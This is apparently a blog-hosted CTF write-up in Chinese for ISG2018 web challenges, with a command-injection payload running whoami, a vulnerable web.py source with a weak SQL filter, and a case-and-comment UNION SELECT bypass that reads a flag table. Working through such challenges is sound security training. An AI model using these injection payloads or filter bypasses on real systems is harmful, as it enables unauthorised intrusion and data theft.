0x01.命令注入

这题可以使用burpsuite扫出来,但是可能需要测一下。

得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23%7c%22%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23

刚开始有点尴尬,以为不行了呢。

但是大家可以注意到,等号后面是输出了的,也就是说确实执行了echo的。

然后执行whoami确实执行成功了。

然后就是直接ls得到flag路径cat flag了。

http://202.120.7.205:60003/index.php?calc=i|echo%20gzavvlsv9c%20q9szmriaiy||a%20%23%27%20|echo%20gzavvlsv9c%20q9szmriaiy||a%20%23|%22%20|whoami||a%20%23

0x02.

提供了如下py文件。

很简单可以看出是存在SQL注入的,但是有部分过滤。

 #coding: utf8
import web
import os
import re
import sys
import sqlite3
from web.contrib.template import render_mako abspath = os.path.dirname(__file__)
sys.path.append(abspath)
#os.chdir(abspath)
urls = (
'/', 'index',
'/news-(.+).html', 'news',
# webpy URI route line by line.
) app = web.application(urls, globals(), autoreload=True) web.config.debug = True def my_loadhook():
web.header('content-type', 'text/html;charset=utf-8', unique=True) app.add_processor(web.loadhook(my_loadhook)) def notfound():
return web.notfound('') def internalerror():
return web.internalerror('') app.notfound = notfound
app.internalerror = internalerror render = render_mako(
directories=[abspath + '/templates'],
input_encoding='utf-8',
output_encoding='utf-8',
) def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
return False
else:
return True class index:
def GET(self): try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
a = cur.execute('select id,title from news order by id asc').fetchall()
cur.close()
conn.close()
return render.index(list=a) class news:
def GET(self, id):
# try:
# id = web.input()['id']
# except:
# raise web.seeother('/')
if not codesafe(id):
return 'Hacker?'
try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
sql = 'select title,content from news where id = {0}'.format(id)
a = cur.execute(sql).fetchall()
cur.close()
conn.close()
return render.news(title=a[0][0], content=a[0][1]) if __name__ == '__main__':
app.run()
else:
application = app.wsgifunc()

  因为根本都没有验证大小写所以直接大小写就可以绕过,这里分享一个比赛的tips,注入里好多表明列明都是flag,别去猜裤猜表了,直接select flag from flag试试。

  所以得出payload为:http://202.120.7.206:60019/news-2/**/uNion/**/sELECT/**/1,flag/**/FROM/**/flag.html

0x03.

  这题做出来的人比较多也比较low。之前刷题就刷到过。

  一打开就是提示要输入密码

  

  然后源码里看到了一个base64加密的发现并不是flag

  

  最终直接curl http://202.120.7.207:60007/index.html得到flag

    

表示只会做WEB 至于PWN实在是有心无力。

ISG2018 web题Writeup的更多相关文章

  1. 实验吧 web题writeup

    1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...

  2. SycSec成都信息工程大学2019CTF-前五道WEB题writeup

    一.WEB (1)一起来撸猫 flag藏在标签的注释内  <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目 ...

  3. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  4. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

  5. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  6. i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  7. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  8. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  9. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

随机推荐

  1. 分享:50行代码监听watch小程序的globalData

    监听方法: // 在任何组件.页面,例如页面 const app = getApp( ); Page({ onLoad: function( ) { app.watch$('role', ( val, ...

  2. 51nod-1222-最小公倍数计数

    题意 给到 \(a,b\) ,求 \[ \sum _{i=a}^b\sum _x\sum _y[x\le y][\text{lcm}(x,y)=i] \] 即最小公倍数在 \([a,b]\) 中的有序 ...

  3. bzoj4484[JSOI2015]最小表示

    题意 给出一张DAG,要求删除尽量多的边使得连通性不变.(即:若删边前u到v有路径,则删边后仍有路径).点数30000,边数100000. 分析 如果从u到v有(u,v)这条边,且从u到v只有这一条路 ...

  4. 【bzoj4007】[JLOI2015]战争调度 暴力+树形背包dp

    题目描述 给你一棵 $n$ 层的完全二叉树,每个节点可以染黑白两种颜色.对于每个叶子节点及其某个祖先节点,如果它们均为黑色则有一个贡献值,如果均为白色则有另一个贡献值.要求黑色的叶子节点数目不超过 $ ...

  5. BZOJ4878 挑战NP-Hard(dfs树)

    既然是二选一,考虑两个问题有什么联系.题面没有说无解怎么办,所以如果不存在经过k条边的简单路径,一定存在k染色方案.考虑怎么证明这个东西,我们造一棵dfs树.于是可以发现如果树深>k(根节点深度 ...

  6. C++解析(6):函数参数的扩展

    0.目录 1.函数参数的默认值 2.函数默认参数的规则 3.函数占位参数 4.小结 1.函数参数的默认值 C++可以在函数声明时为参数提供一个默认值 当函数调用时没有提供参数的值,则使用默认值 参数的 ...

  7. [SCOI2016]幸运数字 线性基

    题面 题面 题解 题面意思非常明确:求树上一条链的最大异或和. 我们用倍增的思想. 将这条链分成2部分:x ---> lca , lca ---> y 分别求出这2个部分的线性基,然后合并 ...

  8. Last Position of Target

    For a given sorted array (ascending order) and a target number, find the first index of this number ...

  9. 输入三个数a,b,n,输出a和b不大于n的公倍数的个数

    题:输入三个数a,b,n,输出a和b不大于n的公倍数的所有个数. 这题的思想是先求得a和b的最大公约数,然后用a和b的积除以最大公约数,得到最小公倍数,再持续加上最小公倍数,直到超过n,记下n的个数. ...

  10. 利用script和scriptlet moniker绕过脚本白名单限制

    没事儿看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演讲,觉得这两个猥琐男简直不能再猥琐了 :-)其中有一个猥琐小技巧,又可以让我们好好hunting一番 ...